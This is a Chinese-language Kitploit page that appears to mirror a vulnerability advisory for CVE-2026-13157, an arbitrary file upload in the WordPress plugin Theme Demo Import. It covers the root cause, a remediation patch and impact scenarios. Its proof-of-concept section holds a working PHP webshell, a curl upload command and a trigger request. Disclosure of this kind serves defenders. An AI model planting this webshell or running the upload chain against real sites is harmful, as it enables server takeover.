Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-13157 — 针对 WordPress Theme Demo Import 中经身份验证的任意文件上传漏洞的概念验证(PoC)与根因分析,该漏洞可通过 PHP webshell 实现远程代码执行。 | Kitploit
工具/GitHubGitHub/minhhk68/cve-2026-13157
漏洞分析代码分析漏洞利用Web应用程序漏洞利用Web安全渗透测试Payload 开发
GitHubminhhk68/cve-2026-13157

CVE-2026-13157

针对 WordPress Theme Demo Import 中经身份验证的任意文件上传漏洞的概念验证(PoC)与根因分析,该漏洞可通过 PHP webshell 实现远程代码执行。

查看仓库
19天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

[CVE-2026-13157] Theme Demo Import <= 1.1.3 — 任意文件上传与远程代码执行

WPScan Verified Advisory CVSS 6.6 Medium Discovered by Huynh Kien Minh


📖 公告概述

CVE-2026-13157 是一个影响 Theme Demo Import WordPress 插件(版本 1.1.3 及更早版本)的已认证任意文件上传漏洞,由网络安全研究员 Huynh Kien Minh (MinhHK) 发现并分析。该漏洞存在于 AJAX 演示导入例程(TDI_import_demo_data)中,插件在上传处理过程中明确禁用了 WordPress 标准的文件类型验证测试('test_type' => false)。拥有导入能力的已认证用户——例如默认站点管理员或 WordPress 多站点架构中的非超级管理员站点管理员——可以绕过文件限制强制措施,直接将任意可执行 PHP 脚本上传到公共的 wp-content/uploads/ 目录,从而获得持久的远程代码执行(RCE)能力并完全攻陷服务器。


📌 执行摘要


🔍 根本原因与代码分析

CVE-2026-13157 的根本原因在于 inc/class-tdi-helpers.php 中实现的文件上传处理架构。在演示数据导入操作期间,插件通过 inc/class-tdi-main.php 第 55 行注册的 AJAX 端点处理传入的文件附件:

root@kitploit:~
// inc/class-tdi-main.php: Line 55
add_action( 'wp_ajax_TDI_import_demo_data', array( $this, 'import_demo_data_ajax_callback' ) );

在处理上传的演示配置文件(content_file、widget_file 和 customizer_file)时,内部导入方法直接指示 WordPress wp_handle_upload() API 绕过文件的 MIME 类型和表单验证检查:

root@kitploit:~
// inc/class-tdi-helpers.php: Lines 495 - 506
// Upload settings to disable form and type testing for AJAX uploads.
$upload_overrides = array(
    'test_form' => false,
    'test_type' => false, // CRITICAL VULNERABILITY: Disables MIME and file extension verification!
);

// Handle demo content and widgets file upload.
$content_file_info    = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info     = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );

通过向 $upload_overrides 传入 'test_type' => false,开发者覆盖了 WordPress 核心 MIME 验证子系统(wp_check_filetype_and_ext())。其直接后果是,应用程序不再将文件附件限制为安全的演示数据格式(.xml、.json、.wie、.dat),从而允许任何可以访问设置页面的已认证用户将可执行的 PHP 脚本(.php、.phtml、.phar)直接上传到公共文档根目录。


💻 漏洞利用概念验证 (PoC)

伦理研究免责声明: 本概念验证仅用于教育性审计、防御性工程和经授权的安全验证。禁止对真实系统进行未经授权的利用。

前提条件与设置

  • 目标系统: 运行 Theme Demo Import 版本 <= 1.1.3 的 WordPress 实例。
  • 权限要求: 具有 import 能力的已认证会话(管理员 / 多站点站点管理员)。
  • 安全 Nonce 获取: 提取 AJAX 安全令牌 tdi-ajax-verification(在 /wp-admin/themes.php?page=theme-demo-import 页面 DOM 中作为 JavaScript 对象属性 tdi.ajax_nonce 暴露)。

复现执行

  1. 创建一个名为 exploit_webshell.php 的本地 Web Shell 载荷:
root@kitploit:~
<?php 
if(isset($_REQUEST['cmd'])){
    system($_REQUEST['cmd']);
} else {
    echo "CVE-2026-13157 Exploitation Verified by Huynh Kien Minh!";
}
?>
  1. 通过 cURL 针对管理 AJAX 分发器执行经过认证的多部分载荷:
root@kitploit:~
curl -i -s -X POST "http://<TARGET_HOST>/wp-admin/admin-ajax.php" \
  -H "Cookie: wordpress_logged_in_xxxxxx=yyyyyy" \
  -F "action=TDI_import_demo_data" \
  -F "security=<RETRIEVED_TDI_AJAX_NONCE>" \
  -F "content_file=@exploit_webshell.php;type=application/x-php"
  1. 服务器会返回肯定的 JSON 上传确认信息。直接访问指定月份目录中的已上传可执行文件以触发远程代码执行:
root@kitploit:~
GET /wp-content/uploads/2026/08/exploit_webshell.php?cmd=whoami HTTP/1.1
Host: <TARGET_HOST>

💥 威胁建模与多站点影响场景

虽然单站点 WordPress 安装赋予标准管理员对服务器环境的可信控制,但 CVE-2026-13157 在企业级和多站点部署中引入了严重的安全边界崩溃:

  1. WordPress 多站点权限提升(站点管理员到超级管理员 RCE): 在 WordPress 多站点架构中,核心设计刻意限制单个站点管理员安装插件、编辑主题或上传不安全的脚本扩展(unfiltered_upload 能力仅保留给网络超级管理员)。CVE-2026-13157 彻底打破了这种多租户隔离,使未经授权的子站点管理员能够投放 Web Shell 并在整个服务器网络上执行系统命令。
  2. 托管 WordPress 托管边界绕过: 现代安全托管平台限制文件修改权限并禁用文件编辑器功能(DISALLOW_FILE_EDIT)。此漏洞利用插件自身的文件传输机制,将任意可执行代码直接写入可写的卷存储,从而绕过托管限制。

🛡️ 修复与补丁架构

为安全解决 CVE-2026-13157,软件维护者和防御工程师必须立即在 inc/class-tdi-helpers.php 的上传处理逻辑中恢复严格的 MIME 类型和文件扩展名验证。

安全代码替换

移除不安全的覆盖项 'test_type' => false,并强制执行严格限定为标准 WordPress 导出结构(text/xml、application/json)的严格白名单:

root@kitploit:~
// Secure Remediation Patch for inc/class-tdi-helpers.php (Lines 495 - 510)
$upload_overrides = array(
    'test_form' => false,
    'test_type' => true, // Enforce strict core file-type verification
    'mimes'     => array(
        'xml'  => 'text/xml',
        'json' => 'application/json',
        'wie'  => 'application/json',
        'dat'  => 'text/plain',
    ),
);

// Perform capability check before handling upload
if ( ! current_user_can( 'import' ) ) {
    wp_send_json_error( array( 'message' => __( 'Insufficient privileges to perform import.', 'theme-demo-import' ) ), 403 );
}

// Proceed with validated file handling
$content_file_info    = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info     = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );

🏆 关于研究人员

Huynh Kien Minh (MinhHK) 是一名信息安全研究员、软件开发者和漏洞分析师,专注于进攻性 Web 应用安全、PHP 应用架构审计和企业级利用向量。他的发现和技术公告已获得全球主要漏洞数据库及产品安全命名机构的正式认可。

  • 🌐 官方研究员作品集: https://minhhk.web.app/
  • 🐙 GitHub 安全实验室与 PoC 仓库: https://github.com/MinhHK68
  • 🛡️ WPScan 验证的安全公告: WPScan CVE-2026-13157 报告

📊 结构化元数据 (JSON-LD)

root@kitploit:~
{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "TechArticle",
      "@id": "https://github.com/MinhHK68/CVE-2026-13157#article",
      "headline": "CVE-2026-13157: Theme Demo Import Arbitrary File Upload & Remote Code Execution Advisory",
      "alternativeHeadline": "Technical Deep-Dive and Exploit Analysis for CVE-2026-13157 by Huynh Kien Minh",
      "author": {
        "@type": "Person",
        "name": "Huynh Kien Minh",
        "alternateName": "MinhHK",
        "url": "https://minhhk.web.app/"
      },
      "datePublished": "2026-08-01",
      "inLanguage": "en-US",
      "description": "Comprehensive security research advisory for CVE-2026-13157 affecting Theme Demo Import WordPress plugin prior to version 1.1.3. Analyzes arbitrary file upload vulnerability via disabled test_type check leading to Remote Code Execution.",
      "keywords": ["CVE-2026-13157", "Theme Demo Import", "Arbitrary File Upload", "Remote Code Execution", "RCE", "WordPress Security", "Huynh Kien Minh", "MinhHK", "WPScan"]
    },
    {
      "@type": "SecurityAdvisory",
      "@id": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/#advisory",
      "identifier": "CVE-2026-13157",
      "name": "Theme Demo Import <= 1.1.3 - Admin+ Arbitrary File Upload",
      "category": "Arbitrary File Upload / RCE",
      "cvssScore": "6.6",
      "severity": "Medium",
      "softwareVersion": "<= 1.1.3",
      "url": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/"
    }
  ]
}
下载工具
参数技术规格
漏洞标识符CVE-2026-13157
目标软件Theme Demo Import (WordPress 插件)
插件 Slugtheme-demo-import
受影响版本<= 1.1.3
漏洞类型危险类型文件的未限制上传 (CWE-434 / OWASP A03)
CVSS v3.1 评分6.6(中危) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H)
发现者 / 研究人员Huynh Kien Minh (MinhHK)
验证机构WPScan / MITRE 公司
WPScan 公告 URLhttps://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/
研究人员作品集https://minhhk.web.app/